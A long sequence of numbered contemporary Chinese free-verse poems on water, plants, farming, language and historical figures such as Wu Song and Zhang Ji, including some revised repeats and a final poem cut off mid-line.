十月有水， 但如果只有水， 就是有水的孤独。 如此形象的只存在于水了 如此形象的一双手， 为追求无形而穷尽一生。 我轻易握住了你梦寐以求的水， 我把拥有的水赠予你。 语言只是攀谈的回声， 沉默没有意义。 我是一切的始作俑者， 盼望孤独的人不会走向真的孤独。 我亲眼见证着，一言不发 水因为我的馈赠而破开 在四散里面又是了另一番景象。 在你的脸庞上面，流溢着 多么无可奈何的水。 十月天高水长558 《十月天高水长》 十月天高水长在于物端 十月倾斜的时候， 你动身。 十月不知道天高地厚的人， 一个十月等于一个你。不会 更多，也决计不会再少。 语言在地上，星星幸免于难。 呵，难不成一切如此迅速的 就把命运给照见？ 十月之人，脸庞上面布满倔强和不甘。 我知道那是为逃避刑罚和罪责， 那是苦苦哀求更深更虚假的，另一种形象。 我知道， 世界颠f了，反转了， 充满了世界的回声的语言的颠d了。 活在重复里面的人是你， 你是青草，沿着青草， 你是牦牛，沿着牦牛， 你是雪山。 需要一场封闭，它绝无仅有 它超出了语言本身的想象。 同桌的你559 《同桌的你》 让我们用一辈子， 你的一辈子，和我的一辈子 和我从你那里借来的一辈子 你的手儿多么温暖了 我的脸颊，它也不是冰冷的。 我们一辈子都不会超过一株 夹竹桃， 但是它也不是南方的定义 你的笑容超过了我们的一辈子， 你不说话的时候会笑， 眼睛。 其他的时候我像呆在了湖水里面， 西湖。 白素贞不如你好看， 也是真的。 十月有水3——560 《十月有水3》 十月有水， 十月有水的旋转的声音从下面传来。 十月，截断的木头 来自森林，来自于一棵大树则是错误的 有失偏颇， 纠正但不会占用我们太多的时间，农民。 ——孩子们的 语言和眼睛。 而我用这，来测度岁月和天空的各自为z距离 作为两件事物， 经过我的闭合， 在我沉沉想要回到卧室里面 入睡。 跟入梦一样子。 一个意思有两个不同的提法， 文雅和大地的。 水，561 水 《水》 水是自由的， 它的明亮只是一种误解，指示着人来。 水可以在自身体内随意的 敲击自己。 一件事物在人的脑海之中，变成 两件事物，包含了敲打时的声音。 我不敢想象亲吻和饮食， 想对于此，所作含糊其辞的应付。 对于落在我脸庞上面的这些雨水 它们是另外的一种，我毫无感觉。 我好像需要冲出去， 一些最轻微，使得人感到了难堪 并且在事后回想，感到困惑。 水2——562 《水2》 水是自由的， 它的明亮只是一种误解，指示着人来。 水可以在自身体内随意的 敲击自己。 这些空正是领由了它的敲而来， 像秘密，对于人而言 对于人赶来，路途应当是漫长而纹路充满 人是幸福的，又增加了一层层的锁链 我觉得最可怕的是人的三缄其口 沉默不语要由另一个来说出， 这像是一种行程，漂浮在天空和夜幕 在我失语的时候漂浮， 作为后代子孙的时候是馈赠 那是如此光辉的形象我可以确定， 我敲击了一下这些轻柔， 在水的表面，或者要让它的静止 从难言之中安静下来。 西岭563 西岭 《西岭》 听的内涵包括了 也包括着。只有 时间让我困惑。 \/ 我的声音回答了你的上一个问题， 我的肤浅，不如一次次的丢弃在田野， 直到暴晒成为了一种欢乐。 我听到的， \/ 没有说出来的有时候也将 我不知道的包括了，如果源头 确确实实的，是以这样子的一种源头之姿 转头看了一眼窗外的树， \/ 看一眼窗含西岭千秋雪的书籍提到过的影子， 那些旧时被碾压而过， 也依然不够，即使算上了那些声音。 植物564 《植物》 从思想的深度和它那 因此隐隐的轻笑传了回来。 因为不自持， 我的轻咳等同言语。 这个因更为短促， 可赤条条的生命恐惧于每一个人。 那些植物一定比我们更深更久的思考， 对于当下的流逝， 难不成只能顺势而为。 顺着风摇摆的无力， 欲言又止的吞入腹中， 作为一颗植物， 作为它的另一重生活， 存在于想象中，仍旧没有开始。此时， 它作为存疑的影子， 为了这种投影， 和那不了区分的语言与肢体动作。 植物2——565 《植物2》 一株植物， 拥有比人更远更深的思。 卡住人的喉咙的一株植物， 让我们的胜利 以触摸到了风而停止。 看吧，人多么的猖狂， 作为一种对应与参照， 朗声所言里面的风的源头在于生命， 像漫长风的历史与历史的并不区分， 以及哀愁。 那些平静的时候也没有植物的位置， 被折断，因迁怒 遂融入历史之中所成为的隐觅。 风声566 《风声》 风声的形象在于刮走 可以刮走的东西。 我是风声之后，还有一些些的时间 它自身类似胜利一般的欢愉 ：那些古代的词句。 事情的陡然一变多么不合时宜， 这就是我的形象， 他不勇敢， 非诗歌，当面对一株核桃树的时候， 不是别的， 也不是这。 风的另一面是自我的困惑。 杏树567 《杏树》 我靠近一株杏树， 它三月开花， 四月结果， 五月熟透 。。。。 我靠近的是它的那一部分呢。 路边568 《路边》 路边的核桃树绿意，茂密。 墙角坐着的老人瘦弱，已是风烛残年。 他头儿低着，打着哈欠。 像是一种逃避，不愿 在轻易就可由生机勃勃和枯竭之间的对比， 在他自己的年轻时光藏在心里，无人倾听。 有一些残缺，属于别的。 他不愿意参与这消极的一端时， 他起身的时候回忆像极了雾气。 春风569 《春风》 这个诗人，在南方 生活和工作，存在。 存在，并不是错误的词语。 我也没有往上， 仿佛确有真实的台阶，迈了一步。 像一封信，递迢 真实与虚幻，而中间分界分明 另一件是错误和不合时宜。 两件事。 去年种下了桃花，就已包含了， 希望今年它能结出果子。 挂在枝头反射的光芒 所有的流向都无一例外是人的眼睛。 但不动是欢喜，或者娇嗔的低低里面 推卸为了果子本身与神经质的不可分割。 我觉得都是不对的， 打开果子的内部通路， 并且被牙齿咬了几口， 我替果子担下来了， 因在果壳的内部， 有一封信。 桃仁是空的。空的力量很大， 像小手，两个，像诗人的子嗣 太阳570 《太阳》 在太阳下面行走。 无论快与慢， 无论想象，那已经是最为超出的事物 它怀有着最易谗变， 滴溜溜的一声声同样枯燥， 向古代一处山谷的不可到达溜去。 但望梅止渴的使用范围更广泛了一些 何况我一个普通人的身份 在我自己的体内它仍旧一路的下沉， 工人，木匠，瓦匠，和农夫，傍晚。 以及陡然而生的危机感， 恍然感觉丛生 和走，是走动的影子在来回的不断的 走动，路被拓宽的很宽很宽， 却不是好事，话语愈短， 太阳一照，像不够的形象。 古代571 《古代》 让说话磕磕绊绊的人说物极于其反， 更不易被发现了。 那时，一个人，古代的 躺了下来，农具一扔或者 把自己扔成了农具的形象。 众人断定他死了， 给他的心愿再添加一笔， 让他生命的行程比死更远一些， 让他托孤要好好的活着，活下去， 活的有声有色，泡妞， 于我们。 他的死亡因此是孤岛， 相对于整个的人生历程，说不准最后的 闪光一刻而言。 是一抹浓郁的颜色。 进入了文字和史书之中， 他付出的代价是丢弃了自己的名字， 作为一个木匠，他在文字里面 抽烟喝酒，日以继夜 为我们打造一个，随后人人都可以踏入的 门槛。 这个死很是麻烦，甚至有些猖狂的死 把这个留在旷野为了死， 周围的景色是残断的桥梁， 因为通达， 或者走在上面的尝试，是以 抱着百宝箱投江的杜十娘不再存在 而脚步声音，脑子里面无休止的响起。 木棉572 《木棉》 在窗外等，等等，再等等。 用你自身的白色去等。 有人推开窗，看到了你 白色流着汗水的模样。叫出你的名字。 如果没有人看到你， 你流着汗，依然既不残缺，也不丰满。 木棉573 《木棉》 在窗外等，再等等 如果等不小心，成了一种 难以挽回的陷落？ 推开窗户看你的人儿 成了需要拯救你的救兵。 语言和沉默都需要在激动的氛围中 转过头来，一点点的褪去。 广场像白色的沙滩， 阳光驱散人群。 他趴在窗口比以往更久了一些。 比任何时候更久，你就会成为一面镜子 你抵达了深渊的底部。来到了另一个不远处的 另一个地方。 他思索着自身身为人的无力和挫败感， 但他与你的关系更近了， 不是距离，那已经被灾难的碎片无形的覆盖 作为两个幸存者，彼此 成为了唯一的不曾失败的地方。 春天574 《春天》 春天一打，就消失在了自身之中。 “春天”是随后的语言， 容不得更多的确定 容不得所给予人们的任务， 是在琴弦上面。把是，这，在。。 暗哑的声音也有美妙的乐章。 我暂时的走不开， 无法脱离自己虚空之中 也存在着的形象。 蒸腾的雾气像是从我的身体上面， 爬起。 我感觉，作为一个对应物，以及， 对于小和无形 使得心灵的怜悯愈加的真切 作为你的友朋我一直在这里， 作为一个存在于对岸的人， 我听见你的声音， 像是从河的另一边传来。 五月575 《五月》 春水来不来， 到不到来都是到来。 春水在语言组成的堤坝里面到来， 在犹豫不决的农夫， 当他地里的伙计还没有忙完， 一半的玉米会落草为寇， 一半的青草是前半生的妻子， 低低啜泣的声音 不禁让人担心会越来越大。 他在我的颤音里面努力的 保持着自己身形的平衡，正常 对于一个普普通通的农民而言多么的 重要呢。 让他看着，双手， 在夕阳里面垂落。让他休息 借着这个机会， 让春水叫出它通过语言之犹豫堤坝的凭证， 那远来于山的另一侧， 或蜷缩， 或于梦端。 岷江577 《岷江》 飞溅起来的，抛出了 语言。 我仔细的一辨， 那不是我的， 而你正在赶来。 我已经将一切都告知， 贫乏的属于土地， 纯粹只因虚无， 人的肉体重量，在大地的天平 上面不会大于它的影子 超出你的反驳。 你赶来变得稍微的快速了一点点 或者两山的阻隔实则可以遥遥相望于 对话。 这是我的那一部分，或者那一半的 正浸润于岷江从高山而出的蓄势待发之中。 语言在空中再次的飞溅， 因此它感到了疲惫， 对于那些要到达的行程 隐隐有一份心意。 武松578 《武松》 只为打一个补丁， 所馈赠于鞋子的 也都要小心翼翼的来实施。 弯下腰之前，你甚至要掐灭 宋代。。的灯火。 指头上的疼为整个生命的不牺牲而 付出些许代价。 弯下了腰需要一个时间， 极短或极小， 如果你的耳朵因听够了 世说新语而两耳生茧。 那千万人的面庞， 同样都是干瘦和面临着枯竭的危险。 时间因而也乐意遵从我们的心意， 如果土地荒凉没有一棵参照物 或者大风起兮的话语也没有人 有精力去反驳。 我越看你越像一尊菩萨了， 如果要流转，也只是 在于僧侣和信众，菩萨与罗汉 但你死之后 自己的光辉事迹你并了解啊。 你只是很自然随意的就交出了 自己生锈的双刀 在三碗不过岗与没有历史的酒钱之间 你选择了前者。 而我并不感到担心， 作为良心的代名词或者它 极其浅薄的层面， 或者你的名字在八百里水泊给提前的 映照了出来， 作为一种反射，那道身影脱离开来了你 他，武松，山东阳谷县人士 拍案而起对着宋江破口大骂 对着历史中的唐代，明代的。。破口大骂。 油菜579 《油菜》 我准备去收割时， 油菜已经提前的卧倒。 拿起了镰刀， 我依然要防止它们， 有一个从死向生的历程。 这不合规矩，不成体统 非在蓝天下， 而我们的传统对它们而言 浸润与滋养 已经太久了，直到它死亡的部分 作为最重要。 传统之中的课程于我是作为一个老师， 传统之中的死和在不同 动植物之间不断流转着的 死的并不是同一个东西。 惊异和疑问 因此而起的是别的， 那些叫做了生的东西也让人不解 像移花接木是医生的本来面目 不可区分的名字，以及一声 凄惨的叫声。 衰老580 《衰老》 如衰老时，没了力气， 劈不开的猪肉才叫做了，人生。 所以他一直辟着， 比其他任何时候都专注和热情的 劈着。 但阻力显然而见。 是存在着的他那少年时期对他 态度恶劣的后母， 三天两头的给他颜色看看， 让他吃不饱饭，学会了独立。 是他那后来慢慢的沾染了恶习的父亲， 从母亲的焕然一新那里面 牵出来的一条细细的线段 在牌局和麻将之间， 举行着彼此的第二次婚礼。 而长命百岁最为的虚假， 人们都想借着买肉的机会， 以语言和身体姿态的乔装打扮， 试图钻进他眼睛的永恒ft里面。 仅就这三者已为多， 所以那劈着的阻力可以想象， 多么巨大。 不知道过了多久， 他右手一松，砍刀飞了出去， 他略显颓废的顺势蹲下， 从左手边的衣服兜里，掏出了 济南人爱抽的十块钱一盒的将军烟。 夜晚581 《夜晚》 以句子为界限， 无论干脆还是犹豫不决。 门关上了的时候，夜晚 黑了下来。 像是为了找一个理由， 给接下来的动作， 一个不需要任何理由的行为 除了人。 那是必不可少的，从我身体里面 分割出来的形象。 夜晚陡然而黑时， 我的手一阵阵的颤抖， 文字割了一层又一层。 我觉得这个夜晚是总要说话的夜晚， 总要睡眠和与被子，枕头缠绵的夜晚 进而也是，被孤悬着 它那自我被其他的事物包裹着。 杏树582 《杏树》 尽是在我的脑海里面晃荡个不停了， 它把摇曳的部分撇清了， 一干二净。 等我走出了房门，兴师问罪 对于结果不抱太大的期望时。 看到院前的杏树， 正在微风中制造一阵不大不小的 有关于静止的奇迹。 夜晚2——583 《夜晚2》 你说什么就是什么， 你探测不到我妥协的终点 我们都是一个句子的倒影， 夜幕降临，一起坠入了黑暗中。 我们都是一个误解和偏见的 余波。 你干脆与决绝， 院子里面木柴做成的火把 就会少了一根。我的劝慰 经不起火烧，作为悖论， 却又一次次的疼痛的吟唱于火烛。 请在我跳跃时送来清澈的水 冰冷的凉意，缓慢疏解的身体 只展示给你看。 作为一种莫名其妙的关系， 我感激于黑夜， 作为悖论它缓缓的压下。 作为一种注定失败的尝试， 像一种缠绵， 为了保持争斗的形象， 你我的肢体裸露着， 比任何事物都不着片缕。 夜晚3——584 《夜晚3》 你说什么就是什么， 你探测不到我妥协的终点 我们都是一个句子的倒影， 夜幕降临，一起坠入到黑暗的心脏。 我们像一个受伤蝴蝶的 左边和右边， 像它唯一还健康的额头， 因为爱情而保留着。 它是要回到自己翘首以待的地方 是要我们成为收纳和打开， 借着在未来的一阵长久明亮和 新雨过后 如此巧妙的成为了， 伸向必有共鸣的信笺。 只有语言是小心的， 它大方的时候， 整个世界都畸形， 但又以病痛来表示了。 木棉2——585 《木棉2》 在窗外等，等等，再等等。 用你自身的白色去等，室内的哈欠。 有人推开窗，正在闭上的嘴唇不是语言。 看到了你白色流着汗水的模样。 叫出你的名字像叫出了另一个世界， 使得你与自己自我凌乱。 是夜，你温柔的内心才慢慢的把不安显露出来， 傍晚的木棉花铺面了小径，呵 难不成你已经在昨天夜里偷偷的伤心过一次？ 刀笔小吏586 《刀笔小吏》 作为个已经逝去多年的人， 他有一部分躯体还活着。 作为一个从此以纸张为家的人， 他每日的行程就是一种单调和循环。 作为一种旧的东西， 或者某种事端之所以可发生的基础， 并且是在它们最为微弱的时候。 而对于这一切，他自身却毫无察觉 只是在脸庞上面单独的为追求那 仅仅是恍然大悟之感而伤透了脑筋， 每天从纸张走到了笔所导致的历史的遮遮掩掩 而遮掩太直接了， 有时候是脆弱不堪的， 他最怕自己所记录的是儿女情长， 如今历史由他记录， 偏着脑袋，把皇d的命l 微微的侧着耳朵， 其中的一些最关键的词语作了曲解。 锦官城588 《锦官城》 距离我太远的地方， 只可能是一句语言。 有人靠拢过来，贴近 我， 他的嘴巴因为快要被撑破 撑的鼓胀起来，也跟着疼了起来。 如果， 与不回答相交换而来的 不是道德上面存在着怜悯， 还是别的呢。我遗忘了 可能忽又记起而复坠入循环。 那些远方，和远方的城市 跌跌撞撞的能不使人疼吗？ 或许人过的太安逸了， 人一说， 诊所的夜灯就开始灯火阑珊了。 女人589 《女人》 小心翼翼。尽量不让自己 成为另一个人 她注目着自己的动作，手儿 轻轻的捏着裙子的一角， 慢慢的放下，不发出任何响动。 好不容易她才从另一个人的 粗鲁和压抑那里 走了出来。或者说 逃了出来。她也仔细地辨认过了 正对着的那一副并不是她的 情郎。那托举，如在于水上 或者像是记忆的涣散，猛一眨眼 四壁空空冰冷。 尽管那人儿一会姓李，一会姓王 一会又因为，试图探视她的身份 而说要投身于夜里， 像是一种柔情，转瞬即逝 因此也才是虚假的。 女人590 n人 《n人》 小心翼翼，尽量不让自己 成为另一个人。 她注目着自己手边的动作， 轻轻的捏住裙子一角， 慢慢的放下，不发出一点响动。 好不容易她才从另一个人的 cl和yy那里 走了出来。或者说 逃了出来。她也曾仔细地辨认过 正对着的那一副并不是她的 情郎。那托举，如在于水上 或者像是记忆的涣散，猛一眨眼 四壁空空冰冷。 尽管那人儿一会姓李，一会姓王 一会又因为，试图探视她的身份 而说要投身于夜里， 像是一种柔情，转瞬即逝 因此也才是xj的。 分界线591 《分界线》 刨地的分界线是往前倒退的， 无形的线段无关于思想， 一丁点点的涉及到了的你 多少会带有一些侥幸与惋惜 所以，它首先会甩掉语言 以沉默的方式而不是挥舞的来源。 而且汗液也混合了， 仿佛这确确实实的是一个复杂错综事件。 我一个人怎么可能在过去里面行走， 在农民的身份之中， 又不老实。往前刨地， 会刨出爷爷，姥爷爷，姥爷爷的父亲， 清晰的直系。这个族谱 可以考察而没断裂的可能性。 任何的期待不会从偶然而发， 这个历程却也是会湮灭， 并为只心愿停留于表层的 像那些美丽的花儿， 属于它的词语不是柔弱， 粉红的花瓣正凭借着的， 是风，轻轻向他物触碰。 完璧归赵的语言， 或者经过了一整语言的重新拼凑， 我哪有时间来面对这些， 久违的土地，正处于一种逐渐的 或抛离，或于手足而言的暂难以言喻。 分界线2——592 《分界线2》 刨地， 我会刨出的，是爷爷 姥爷爷， 姥爷爷的父亲和爷爷。 我离现在越来越远， 也是一步一步实现的。 我因为回声而说出来的， 有话语的样子， 对于晚上的我， 他转过了头来，脑袋具有丰富的思想 一种被审视的历史和对象 本应该是冷峻的， 进而默默的向寂灭前进。 这唯一的活着一般的东西， 它的动词一般的运动吸引了傍晚的我， 过去与未来在我身体上面的交错 碰撞， 现在挥舞着锄头的人儿呵， 我真想以祖先的名义呵他一声呢。 吻593 《吻》 亲吻一直被推迟着， 被迟滞。 你在春风里面用嘴唇 吻小树，吻树林，吻也爬上了坡。 沿寻土地上面， 物理所孕育的规则。 吻是动情之物，吻代表着一种 颇有姿态的确认，甚至与雨水有关 又在放晴之后归还。 吻有时被过度的使用， 这一个颓然的吻， 穿过了无形的风像怀旧， 一无所获的感觉像变得热烈起来。 枇杷594 《枇杷》 我与夏天平齐但不及于，它的丰富性。 它还环绕，旋转。优美的舞姿 向着被叫做别处的那个地方。 而语言像枇杷，枇杷一说，就成熟了。 满树金黄，我的白天确由一场 记忆模糊的梦境而来。 推开门，迈步走进了院中 再轻轻的转过身，我想起，对于一种余韵的 回味，而在于这关啊， 把自我的声音也留在了院外。 世界595 《世界》 世界比我有耐心，有的是语言之中 所具有的悬疑， 多么明显的隐而不发， 而我又不得不以臣f的姿态， 膝盖儿跪的发疼的，跪到了 现实里面的注目于它的姿态。 虚无只是一颗叫做鸟儿的大石头， 直接所取捷径， 甚至壮士断腕，偏偏又 扭头一想作了哭哭啼啼感。 我就是为这些感觉而活， 活得越久我就越像一个造字者 和他那即使躲进了群山中，里面 传来的不安越发的急切。 枇杷2——596 《枇杷2》 南城的枇杷还能长的更具体一些， 长成旧院子里面的枇杷 日日抬起头望着流水，作一些 让人不知所以的暗示。 长成明代的枇杷， 只消日子从今天变作明天，而且极为的 自然。 那条河依然在，但它的历史因此闭合的更紧了。 枇杷在明代第一次见到了那么多的人儿 却并不羞涩， 枇杷的等待时间过长的，被叫做了 花期和爱意。 即使它没有，或者残缺 即使它有或者不说， 即使一双嘴巴可以低下头来， 为了寻找而像手和眼睛， 唯有一颗心孤悬着 我穿过的那些雾气同样是由 它来制造，并不是两手空空。 寺前597 《寺前》 一路干燥而对于墙壁 不生疑问者 为僧。还俗者，还俗者 他的嘴里面有一声轻笑， 为了把去年肚子里面因为 好奇而偷偷扣下来 放在嘴里面品尝的小石块禅意 他觉得自己走的更深， 必定能在红尘里面 把寺庙和世俗之见的界限， 在一位女子和一位和尚之间 越推越远。 地质598 《地质》 张二棍，矿物探测员。 这个人， 这座山 都是暂时的。 不可久久的居住于 他那青草一般，彼此等高的 弯下来的腰肢已经习惯了。 植物第一次的见到了 思想，从头颅的里面， 慢慢的走了出来， 像上一次的失了信的雨水， 成为了河水的时候 带着解释的太阳光芒的反射， 它那变得了更加温柔的， 迎来了这个地质探测员。 一切599 《一切》 一切的一切， 和一切之中的一切 都短暂，但不虚无。 我知道的，和知道 像我要走就应该把嘴闭上。 含住一座山一样的闭上 使得它在潮润的腹地， 也存在着连绵不休的雨水。 被昭示的季节在于一个人的皮肉 如果那些乡思在渔歌，他们收网 准备了返航的灯火挂起， 在船头，两条鱼的生和死亡 被一一照着。 面前600 《面前》 让面前的文字接受我此刻目光温柔的洗礼， 它们沉默不语，仿佛我依然如昨夜般的暴戾。 一座山601 《一座山》 把一座山交付给你了， 落叶松，针叶松，槐树，榆木， 桦树，柿子树，核桃树，栗子树， 花椒树，枣树，野山枣树，柏树， 梧桐，柳，桃树，杏树，邻居嫁接的 黄皮的梨树，其他的树木 承接这些树木语言的需要， 并且在无声里面撇开了胜有声 而沉默的需要。交给你了。 在开阔的语言环境里面你不语， 像名字像昭示着的人的影子， 因为太过于单薄的形象碰到了雨水， 或者在一个波折因拐弯的道路， 尘埃与枇杷，作为异端的植物和 试图接天莲叶的苦艾草。 日记602 《日记》 远远的山上有的，别的地方也有。 远远的可以看得到的，虽然不可触摸。 风景也已经将它自己的领域和范围 一再延伸，作为一种悄然之间的移动 或者缓慢的附属词语。我们的呐喊 实则是亲吻的本质。在零零碎碎的一系列 其他的小动作和表情情态的包裹，包围中。 海天相接一般的错误实则只是阵阵的暖意， 袭来。空留形式的云团被搅动翻腾起来， 的形状，是我们在白色与白色的文字之间来回 重复，确认，以防止坍塌的突然。我们是 一只黎明的鸟，还有时间做一些错误的事情， 敲击早晨的壁垒。我们有默默无言的时候， 风景作为一种理由，借着山势向下， 开始的时候速度并不快，并不是拿在了手边， 像一颗石头被提起来一般的，轻易。 后来霞光出来，越来越快的坠落的，人与物没有区别了。 蹲下603 《蹲下》 我蹲下身子， 看和关照。 看一只蚂蚁运动，在语言之间 为了吃的，小黑像无头苍蝇， 靠额头的两只触角辨别方向。 我见过两个不同群体的蚂蚁打架， 因为传递出来的味道不同， 瞬间就能让两个弱小的生命 激烈的打了起来。 但打了一阵就会分开，各有各的。 这使得我觉得，它们像人类一样， 除非核心利益受到了侵犯，否则 只是点到为止，甚至各自吓得四散而逃。 我见过一只麻雀因为树上的麻雀太多 一颗石头就偶然的打下来了一只。 它在地上挣扎，扑腾，想飞也飞不起来 最后两腿一蹬，死了。 草木虫鱼作为一个系列， 直观的死亡与生命之人 那些长存甚至不如河水， 经过了风吹而泛起来了的，我们 叫做了波浪。这些是事后 想要去寻找的诗意。我甚至 无端的猜疑着， 如果菩萨与神灵，端坐已不可能 而问询没有结果的持续着。 夜灯亮的稍早，我撕下来了，又一天的 日历。在这些意愿于让它们 错综复杂的关系上面， 我想也只有神灵可以端坐， 像一个解释之长，超出了我所可以想象， 我站起身来，在腰酸背疼前面 是我的影子，我看到了他。 不能604 《不能》 不能成为远方的 没时间去亲吻和抚摸 也渐渐略显多余的，群山的农民 的拒绝。 不能成为他的影子，只会 使得我吃痛。佝偻弯曲，身子多么无力 语言只是提供了一次短暂的新鲜。 这证明语言是属于我的 没有感觉的部分。 作为人这个形象，或者作为它物的时候。 还没有被说出，只是被带离。 土地605 《土地》 抓一把黄土，采一把黄土， 伸出来的手，仅仅抓这个动作。 我安居于此，只有更多的时间 在语言上面泛起波浪， 我才可以说，自己， 像一枚铜质的指针。 我不能因为失语， 而虚无也往往会起到同样的 作用。像意犹未尽 你，一个访客被我敲响了门铃 而这一种总会被纠正的颠倒， 和反转。以及在其之中 可能耗费掉了的一点点的时间。 我没有触摸过组成这个钟摆 除了指针之外的表盘和外壳 作为人的形象对于存在之思， 拷问的理所当然，而没有收获。 夜晚里面的静寂， 傍晚时候的暮色， 到来又住了下来，第二天的危机 琐碎问题的堆积， 或者走向不属于这个地方的 别的地方。 耕田606 《耕田》 语言耕田一般的自然。 我没有把它说出， 我把它含在了嘴里面。 \/ 花照水， 或者， 随月亮的影子而来。 咳嗽607 《咳嗽》 咳在自己的身体内部， 这舒缓的仿佛音乐， 它在自己体内没有悬疑， 所以它有足够的时间，做足了准备 应对我说出来的观点，话语。 咳嗽吐出来的是自己的另一半， 在四下无人的时候， 我要说那是飞鸿，是溅落之流水 古以瀑布的称之谓之。 咳在我的身上， 我始终不能甩掉， 我并不盼望更多， 在自己的体内，这个少的准确 是少之又少， 但它作为一种具体， 总是伴随着他物。 张继608 《张继》 首都的位置作了调整了，西部在叹息。 但历史震动的比c堂要小上一些。 历史的余韵不是别的，像 生不是生，生本身不指向别物。 死亡并不悬搁， 在床头的是取下来的一本，但是 没有交代答案。 那来自于从书架上面的排列和整齐，码放。 所以众说纷纭，女帝隐隐浮现。 女d少有得一抹含蓄里面， 夜里牡丹花就有了红晕一般的担全z。 一场科举考试应景而生，景色照着的 是新鲜之地新开垦而出的一片池塘之镜。 花照水或者水照人未来。是啊， 宫廷里面的等待，武h，d的 红唇烈焰岂止是高坡与黄土。 她已经洞见到了的，并不曾言语。 放任那些被泥沙所侵蚀， 掺杂着她的郁闷， 一颗试图迁都的心蓄势待发。 所以，此诗人名张继， 湖北襄州人士。家境贫寒，科举 是他改变命运的唯一途径。 他每r都能看到故乡的土地 在冲着他招手，劝他远行的意志并不 坚决。冲突于希望年轻的劳动力 在自己的黄土上面耕耘，贫穷一生。 但张继牢牢记住了时间。在他的面前， 脑海，犹如一个时间锁链：四书，五经 史记，道德经，论语皆通过隽秀的毛笔字 鱼贯而入，又于纸张重现。 但通往洛阳的旅途太颠簸， 又逢着了斜风细雨，忽而转骤雨，大风。 这个对于时间变得神经质的人害了风寒， 发高烧，缺少药物，兜里面的几两碎银子 在抗议，明日的食物也跃跃欲试想要去看大夫。 一个文弱的书生，他因祸得到了更高的福泽， 凌乱的时间线上，卷子落满了抛洒的乱梅。 他在雨水之中醍醐灌顶，这还不够， 他在雨水过后之后身体变得更加的健康 他的一颗心是白菜却也可以招呼众人过来 变成了翡翠。他等待四邻八舍如同散去缓慢的潮水， 落潮的时候他想了起来，未曾弥补在j宗上面 像梅花结出来果子的必然与道德， 所以一路沿着莫须有的幽香，这个小人物 在洛阳城里的街道上面走出了牡丹花的步伐， 这个为国色天香开罪之人理应受到他应有的惩罚， 是夜，女帝就寝，东g烛火长明 她能到有个单薄的身影乘船南下， 上船的时候摔了一跤，把没有写完的 给混合着泥土，从嘴里面说了出来。 枝头609 《枝头》 看久了会看出， 枝头上面的危险。 在果实与枝干之间， 那红色的和它的尾部， 具有一根细小的连接，通向了 未来的语言。 这使得我一次次的心意落空， 悲凉，是第二次，进而更多次。 这些个美丽的形象。 我追求的是短，如一根眼前的结果。 如果我回过头来的时候， 如果我看的太久了， 枝头的厌倦，正从树干 它那板结以及坚硬， 行走以及别的什么，等待语言 或者人的，别的什么。 枝头610 枝头 《枝头》 看久了会看出， 枝头上面存在着的危险。 从你的嘴边，伴随着 说出来的雾气蒸腾。 在果实与枝干之间， 那一抹红晕开，和它那尾部， 存有的一根，细小般连接。 转身又通向，未来的语言。 这使得我一次次心意落空， 悲凉。从第二次开始，我又一次的感受 常新一般。我的心灵在骨骼里面装着， 语言确确实实经过了一阵置换的迷乱。 所以我来并非毫无缘由， 那些中途所途径的事物，他物，植物，鸟类 都统一的名字叫做河流。 如果这是那一条，岷江。 在你的心里面，却又是它，长江， 是更久更喧哗一般， 如火烛的撩拨，有陡然窜高的时刻。 所以变成桃子或者果实是你 最好的宿命。在云层以下 你火急火燎的成熟了， 你的语言望着远方的水， 你的眼睛看不见，我 也如同一个对于你而言的盲目者。 而爱意因此如此的平等呵， 你少了一件，我就少一件。 你增多，我就会脱去一件， 在并不多余的时候，我就疼 我感觉自己疼的厉害，像巨大的风寒 只能以从未有过来形容。 这些表达如此需要你， 在渡河而来的急切里面， 一系列的，在夕光下面， 我轻轻的把你摘下， 反转的这么容易。 自身611 《自身》 必须有足够的想象， 因为伸向前方暗示了自身的， 是早已经存在的虚无。 必须想象他人存在， 必须有我的在场，但看不见 语言先我而至，此时的它们担得起 任何的比喻。在幽冷，是雪。 倾斜，而更多，也只是多了一点点 因为会随着风声的曲线，自身的不经意的 倾斜而， 边界之上的它们，也是无形之上自在的它们。 随着并不算特别准确的词语， 这个意思是说也绝非太过荒唐和怪谈。 你间接的来了，你甚至趁着夜色 以为一棵树因为静止而是我，是了我 于是你说话，一个人说话是永恒的误解 夜色的愈加黝黑使得沉睡是人们安心的唯一途径。 那么在横断而来的切面，我们是 同一件东西。 一件硬币，有着正面，反面，中间 需要用音乐一般来隔开。 需要等等一枚还没有做好的馒头 或者馅饼， 或者包子与油条 对着时间发呆而贫穷的我们， 试着越过不可以而因此才可以言说的 找到了我们。 我们永远都是在今天的前一夜， 再往前，因为有人怀有鬼胎， 我怕的是有人心地善良，道德和律f。 我爱你爱的深， 作为一个枯燥的人我愿意永远有人 追逐，对于历史而言， 它不断的生成，有一个原因，特别的具体 有一个历史，属于新的， 因为人，人的动作，放一面镜子 所反射而出的细小的， 再细小的东西（里面有你全部的语言， 但不是迷。） 石头之上612 《石头之上》 石头之上， 我是说的， 那上面的还要上面。 而这便是，而不需要再次的 强调。 我一确定，事情就会变味， 美丽的乐感不会来自于对 坚硬之物的拷问。 石头上面是有思想的， 所以它才会这么的老实， 它伸出了刻度，多么不像， 因此难以寻找。 对于耗费了大部分精力 或者在与一群人的碌碌为为之中， 的语言，交换彼此的情形。 夜晚613 《夜晚》 我不再读什么，也不再想 如果我不把它悬置 那么，会有人来找到了我。 语言只需要一瞬间就是空的， 挽留于多余，被雨浸湿 我在你探寻和回忆里面活， 或者你刚刚发生的事情， 它总不能也发生， 在我空空荡荡的肩膀。 瘦弱614 《瘦弱》 瘦的话，就在南方瘦吧。 瘦到不会说话， 瘦很简单，只是穿过了众人， 随着那一道沉默的目光。 \/ 江水的隐喻，或者它自行的推开。 它已经千百次， 而我和我们。 在于取其少，我们乐于听闻， 或者我， 心思全部的被，乐音，觥筹交错所占据。 夜色中615 《夜色中》 我可能走向电风扇， 为了它的迷离的飞速的旋转， 需要突出， 做移步款行准备。 更多的词语属于事物， 同样的宿命却没有让人们感到了麻木， 人们会趁着夜色， 把语言压低， 掀起来欲望的一个个细小， 隐蔽的角落。而后者才是重点， 才可以被听闻，它们有着的 是普善之姿。 我可能会走了两步，在于由他人看来的 可能因忙碌一天而累了。 所以中途的停止与沉默缘由的不需要细说 是平等的， 如果时间充裕，发生的事情， 对于所有的人，是它们变成同一个。 我不是一个信誓旦旦者的此刻， 在人类的极为小心的某些时刻， 在于这些人的自身的感觉， 如同有一个门， 随着越来越深的， 夜色，而在我没有将一切挑明之前 而通往别处了。 起身616 《起身》 起身，我可以走向电风扇， 